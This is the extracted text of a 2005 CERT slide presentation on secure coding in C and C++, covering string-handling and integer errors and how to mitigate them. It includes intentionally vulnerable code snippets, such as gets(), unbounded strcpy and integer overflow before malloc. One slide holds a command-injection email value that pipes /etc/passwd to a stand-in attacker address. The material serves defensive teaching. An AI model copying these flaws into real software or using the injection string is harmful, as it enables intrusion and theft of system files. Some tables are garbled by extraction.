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Strings
Comprise most of the data exchanged 
between an end user and a software system

command-line arguments
environment variables
console input

Software vulnerabilities and exploits are 
caused by weaknesses in

string representation
string management
string manipulation
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C-Style Strings
Strings are a fundamental concept in software engineering, but 
they are not a built-in type in C or C++.

C-style strings consist of a contiguous sequence of characters 
terminated by and including the first null character. 

A pointer to a string points to its initial character. 
The length of a string is the number of bytes preceding the null
character
The value of a string is the sequence of the values of the contained 
characters, in order.

h e l l o \0

length



© 2005 Carnegie Mellon University 7

C++ Strings
The standardization of C++ has promoted the 
standard template class std::basic_string and 
its char instantiation std::string

The basic_string class is less prone to security 
vulnerabilities than C-style strings.

C-style strings are still a common data type in C++ 
programs

Impossible to avoid having multiple string types in a 
C++ program except in rare circumstances 

there are no string literals 
no interaction with the existing libraries that accept 

C-style strings only C-style strings are used 
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Common String Manipulation Errors

Programming with C-style strings, in C or C++, 
is error prone. 

Common errors include 
Unbounded string copies
Null-termination errors
Truncation
Improper data sanitization
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Unbounded String Copies
Occur when data is copied from a unbounded 
source to a fixed length character array

1. void main(void) {

2. char Password[80];

3. puts("Enter 8 character password:");

4. gets(Password); 

...

5. }
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Copying and Concatenation 
It is easy to make errors when copying and 
concatenating strings because standard functions do 
not know the size of the destination buffer
1. int main(int argc, char *argv[]) {

2. char name[2048];

3. strcpy(name, argv[1]);

4. strcat(name, " = ");

5. strcat(name, argv[2]);

...

6. }
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C++ Unbounded Copy
Inputting more than 11 characters into following the 
C++ program results in an out-of-bounds write:

1. #include <iostream.h>

2. int main() {

3. char buf[12];

4. cin >> buf;

5. cout << "echo: " << buf << endl;

6. }
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1. #include <iostream.h>

2. int main() {

3. char buf[12];

3. cin.width(12);

4. cin >> buf;

5. cout << "echo: " << buf << endl;

6. }

Simple Solution

The extraction operation can be limited 
to a specified number of characters if 
ios_base::width is set to a 
value > 0

After a call to the extraction 
operation the value of the 
width field is reset to 0
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Null-Termination Errors
Another common problem with C-style strings is a 
failure to properly null terminate

int main(int argc, char* argv[]) {

char a[16];

char b[16];

char c[32];

strncpy(a, "0123456789abcdef", sizeof(a));

strncpy(b, "0123456789abcdef", sizeof(b));

strncpy(c, a, sizeof(c));

}

Neither a[] nor b[] are 
properly terminated
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From ISO/IEC 9899:1999
The strncpy function 

char *strncpy(char * restrict s1,

const char * restrict s2,

size_t n);

copies not more than n characters (characters that 
follow a null character are not copied) from the array 
pointed to by s2 to the array pointed to by s1.260)

260) Thus, if there is no null character in the first n characters of the 
array pointed to by s2, the result will not be null-terminated.
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String Truncation
Functions that restrict the number of bytes are 
often recommended to mitigate against buffer 
overflow vulnerabilities
strncpy() instead of strcpy()
fgets() instead of gets()
snprintf() instead of sprintf()

Strings that exceed the specified limits are 
truncated

Truncation results in a loss of data, and in some 
cases, to software vulnerabilities
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Write Outside Array Bounds
1. int main(int argc, char *argv[]) {

2. int i = 0;

3. char buff[128];

4. char *arg1 = argv[1];

5. while (arg1[i] != '\0' ) {

6. buff[i] = arg1[i]; 

7. i++;

8. }

9. buff[i] = '\0';

10. printf("buff = %s\n", buff);

11. }

Because C-style strings are character 
arrays, it is possible to perform an 
insecure string operation without 
invoking a function
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Improper Data Sanitization
An application inputs an email address from a user and 
writes the address to a buffer [Viega 03]
sprintf(buffer,

"/bin/mail %s < /tmp/email",
addr

);

The buffer is then executed using the system() call. 

The risk is, of course, that the user enters the following 
string as an email address:
bogus@addr.com; cat /etc/passwd | mail some@badguy.net

[Viega 03] Viega, J., and M. Messier. Secure Programming Cookbook for C and C++: 
Recipes for Cryptography, Authentication, Networking, Input Validation & More. 
Sebastopol, CA: O'Reilly, 2003. 
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Mitigation Strategies
ISO/IEC “Security” TR 24731

Managed string library
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ISO/IEC TR 24731 Goals
Mitigate against

Buffer overrun attacks 
Default protections associated with program-created 
file

Do not produce unterminated strings
Do not unexpectedly truncate strings
Preserve the null terminated string data type 
Support compile-time checking
Make failures obvious
Have a uniform pattern for the function parameters 
and return type 
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ISO/IEC TR 24731 Example
int main(int argc, char* argv[]) {

char a[16];

char b[16];

char c[24];

strcpy_s(a, sizeof(a), "0123456789abcde");

strcpy_s(b, sizeof(b), "0123456789abcde");

strcpy_s(c, sizeof(c), a);

strcat_s(c, sizeof(c), b);

}

strcpy_s() fails and generates 
a runtime constraint error
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ISO/IEC TR 24731 Summary
Already available in Microsoft Visual C++ 2005 
(just released Monday)

Functions are still capable of overflowing a 
buffer if the maximum length of the destination 
buffer is incorrectly specified

The ISO/IEC TR 24731 functions 
are not “fool proof”
useful in 
– preventive maintenance
– legacy system modernization
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Managed Strings
Manage strings dynamically 

allocate buffers 
resize as additional memory is required

Managed string operations guarantee that
strings operations cannot result in a buffer overflow
data is not discarded
strings are properly terminated (strings may or may not 
be null terminated internally)

Disadvantages 
unlimited can exhaust memory and be used in denial-
of-service attacks
performance overhead
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Data Type
Managed strings use an opaque data type

struct string_mx; 

typedef struct string_mx *string_m;

The representation of this type is 
private
implementation specific
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Create / Retrieve String Example
errno_t retValue; 

char *cstr;  // c style string 

string_m str1 = NULL;  

if (retValue = strcreate_m(&str1, "hello, world")) { 

fprintf(stderr, "Error %d from strcreate_m.\n", retValue);

} 

else { // print string 

if (retValue = getstr_m(&cstr, str1)) {

fprintf(stderr, "error %d from getstr_m.\n", retValue); 

} 

printf("(%s)\n", cstr); 

free(cstr); // free duplicate string 

} 

Status code uniformly provided 
as return value
• prevents nesting
• encourages status checking
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Data Sanitization
The managed string library provides a 
mechanism for dealing with data sanitization 
by (optionally) ensuring that all characters in a 
string belong to a predefined set of “safe” 
characters. 

errno_t setcharset(

string_m s, 

const string_m safeset

);
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Integer Security

Integers represent a growing and underestimated
source of vulnerabilities in C and C++ programs.

Integer range checking has not been systematically 
applied in the development of most C and C++ 
software.

security flaws involving integers exist
a portion of these are likely to be vulnerabilities

A software vulnerability may result when a program 
evaluates an integer to an unexpected value.
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Integer Security Example

1. int main(int argc, char *argv[]) {

2. unsigned short int total;

3. total=strlen(argv[1])+

strlen(argv[2])+1;

4. char *buff = (char *)malloc(total);

5. strcpy(buff, argv[1]);

6. strcat(buff, argv[2]);

7. }

Combined string lengths 
can exceed capacity of 
unsigned short int

malloc() allocates a buffer that is too small to hold the 
arguments resulting in a buffer overflow.
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Signed and Unsigned Types 
Integers in C and C++ are either signed or 
unsigned.

For each signed type there is an equivalent 
unsigned type. 
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Signed Integers
Signed integers are used to represent positive 
and negative values.

On a computer using two’s complement 
arithmetic, a signed integer ranges from -2n-1

through 2n-1-1. 
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Unsigned Integers
Unsigned integer values range from zero to a 
maximum that depends on the size of the type. 

This maximum value can be calculated as 2n-1, 
where n is the number of bits used to represent 
the unsigned type. 
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Standard Types
Standard integers include the following types, 
in increasing length order
signed char
short int
int
long int
long long int



© 2005 Carnegie Mellon University 37

Integer Ranges 1
Min and max values for an integer type 
depends on 

the type’s representation
signedness
number of allocated bits

The C99 standard sets minimum requirements 
for these ranges.
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Integer Ranges 2

signed char

0 127-128

0 255

unsigned char

0 32767

short

- 32768

0 65535 

unsigned short

signed char

00 127127-128-128

00 255255

unsigned char

00 3276732767

short

- 32768- 32768

00 65535 65535 

unsigned short
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Integer Conversions
Type conversions occur explicitly in C and C++ as the 
result of a cast or implicitly as required by an 
operation. 

Conversions can lead to lost or misinterpreted data.

Implicit conversions are a consequence of the C 
language ability to perform operations on mixed types. 

C99 rules define how C compilers handle conversions
integer promotions
integer conversion rank
usual arithmetic conversions
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Preserve low-order wordshortlong
Preserve bit pattern; high-order bit becomes sign bitlonglong
Preserve low-order byteunsigned charlong

Preserve low-order bytecharlong
Preserve low-order byteunsigned charshort

Preserve low-order wordunsigned 
short

long

Zero-extendlongshort
Preserve bit pattern; high-order bit becomes sign bitshortshort
Preserve low-order bytecharshort
Zero-extendunsigned longchar

Zero-extendunsigned 
short

char
Zero-extendlongchar
Zero-extendshortchar
Preserve bit pattern; high-order bit becomes sign bitcharchar

MethodToFrom

Unsigned

Incorrect interpretationlost dataKey:
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Preserve bit pattern; high-order bit loses function as sign 
bit

unsigned shortshort

Preserve low-order wordshortlong
Preserve low-order byteunsigned charlong
Preserve low-order wordunsigned shortlong

Preserve low-order bytecharlong
Sign-extend to long; convert long to unsigned longunsigned longshort

Preserve bit pattern; high-order bit loses function as sign 
bit

unsigned longlong

Preserve low-order byteunsigned charshort
Sign-extendlongshort
Preserve low-order bytecharshort

Sign-extend to long; convert long to unsigned longunsigned longchar
Sign-extend to short; convert short to unsigned shortunsigned shortchar

Preserve pattern; high-order bit loses function as sign bitunsigned charchar

Sign-extendlongchar
Sign-extendshortchar

MethodToFrom

Incorrect interpretationlost dataKey:
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Integer Error Conditions 1
Integer operations can resolve to unexpected 
values as a result of an 

overflow
truncation
sign error
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Overflow
An integer overflow occurs when an integer is 
increased beyond its maximum value or 
decreased beyond its minimum value. 

Overflows can be signed or unsigned

A signed overflow 
occurs when a value is 
carried over to the sign 
bit

An unsigned overflow 
occurs when the underlying 
representation can no longer 
represent a value
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Overflow Examples
1. int i;

2. unsigned int j;

3. i = INT_MAX;  // 2,147,483,647

4. i++;

5. printf("i = %d\n", i); 

6. j = UINT_MAX; // 4,294,967,295;

7. j++;

8. printf("j = %u\n", j); 

i=-2,147,483,648

j = 0
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Truncation Errors
Truncation errors occur when 

an integer is converted to a smaller integer 
type 
the value of the original integer is outside the 
range of the smaller type

Low-order bits of the original value are 
preserved and the high-order bits are lost. 
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Truncation Error Example
1. char cresult, c1, c2, c3;

2. c1 = 100;

3. c2 = 90;

4. cresult = c1 + c2;

Integers smaller than int
are promoted to int or 
unsigned int before being 
operated on

Adding c1 and c2 exceeds the max 
size of signed char (+127)

Truncation occurs when the 
value is assigned to a type 
that is too small to represent 
the resulting value
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Truncation or Size Error?
1. unsigned short int u = 32768;

2. short int i;

3. i = u;

4. printf("i = %d\n", i); 

5. u = 65535;

6. i = u;

7. printf("i = %d\n", i); 

i=-32768 

i = -1 

SHRT_MAX = 32767 

USHRT_MAX = 65535 



© 2005 Carnegie Mellon University 50

Sign Errors
When an unsigned value is converted to a 
signed value of the same length

bit pattern is preserved
the high-order bit becomes a sign bit

Values above the maximum value for the 
signed integer type are converted to negative 
numbers.
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Sign Error Example
1. int i = -3;

2. unsigned short u;

3. u = i; 

4. printf("u = %hu\n", u);  

u = 65533
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Range Checking
Type range checking can eliminate integer 
vulnerabilities. 

External inputs should be evaluated to determine 
whether there are identifiable upper and lower
bounds. 

limits should be enforced by the interface
easier to find and correct input problems than it is to 
trace internal errors back to faulty inputs

Limit input of excessively large or small integers

Typographic conventions can be used in code to 
distinguish constants from variables 
distinguish externally influenced variables from locally 
used variables with well-defined ranges 



© 2005 Carnegie Mellon University 54

Strong Typing
One way to provide better type checking is to 
provide better types. 

Using an unsigned type can guarantee that a 
variable does not contain a negative value. 

This solution does not prevent overflow.

Strong typing should be used so that the 
compiler can be more effective in identifying 
range problems.
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Compiler Runtime Checks
The gcc and g++ compilers include an 
-ftrapv compiler option that provides limited 
support for detecting integer exceptions at 
runtime. 

This option generates traps for signed overflow 
on addition, subtraction, multiplication 
operations. 
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Safe Integer Operations
An ancillary approach for preventing integer 
errors is to protect each operation. 

This approach can be labor intensive and 
expensive to perform.

Use a safe integer library for all operations on 
integers where one or more of the inputs could 
be influenced by an untrusted source.
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SafeInt Class 
SafeInt is a C++ template class written by 
David LeBlanc. 

Implements the precondition approach and 
tests the values of operands before performing 
an operation to determine whether errors might 
occur. 

The class is declared as a template, so it can 
be used with any integer type. 

Nearly every relevant operator has been 
overridden except for the subscript operator[]
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SafeInt Solution
1. int main(int argc, char *const *argv) {

2. try{

3. SafeInt<unsigned long> s1(strlen(argv[1]));

4. SafeInt<unsigned long> s2(strlen(argv[2]));

5. char *buff = (char *) malloc(s1 + s2 + 1);

6. strcpy(buff, argv[1]);

7. strcat(buff, argv[2]);

8. }

9. catch(SafeIntException err) {

10. abort();

11. }

12. }

The variables s1 and s2 are 
declared as SafeInt types

When the + operator is invoked it uses the 
safe version of the operator implemented as 
part of the SafeInt class.
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When to Use Safe Integers
Use safe integers when integer values can be 
manipulated by untrusted sources, for example

the size of a structure
the number of structures to allocate

void* CreateStructs(int StructSize, int HowMany) {

SafeInt<unsigned long> s(StructSize);

s *= HowMany;

return malloc(s.Value());

}
The multiplication can overflow the integer and create a 
buffer overflow vulnerability

Structure size multiplied by # required to 
determine size of memory to allocate.
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When Not to Use Safe Integers
Don’t use safe integers when no overflow possible

tight loop
variables are not externally influenced

void foo() {

char a[INT_MAX];

int i;

for (i = 0; i < INT_MAX; i++)

a[i] = '\0';

}
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Summary
Not all coding flaws are difficult to exploit but some can be

Never under estimate the amount of effort an attacker will put into 
the development of an exploit 

Common coding errors are a principal cause of software 
vulnerabilities.

Practical avoidance strategies can be used to eliminate or reduce 
the number coding flaws that that can lead to security failures.

The first and foremost strategy for reducing securing related coding 
flaws is to educate developers how to avoid creating vulnerable 
code

Make software security is an objective of the software development 
process
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For More Information
Visit the CERT® web site     

http://www.cert.org/
Contact Presenter

Robert C. Seacord rcs@cert.org
Jason Rafail jrafail@cert.org

Contact CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
4500 Fifth Avenue
Pittsburgh PA 15213-3890

Hotline: 412-268-7090
CERT/CC personnel answer 8:00 a.m. — 5:00 p.m.
and are on call for emergencies during other hours.

Fax:       412-268-6989

E-mail: cert@cert.org


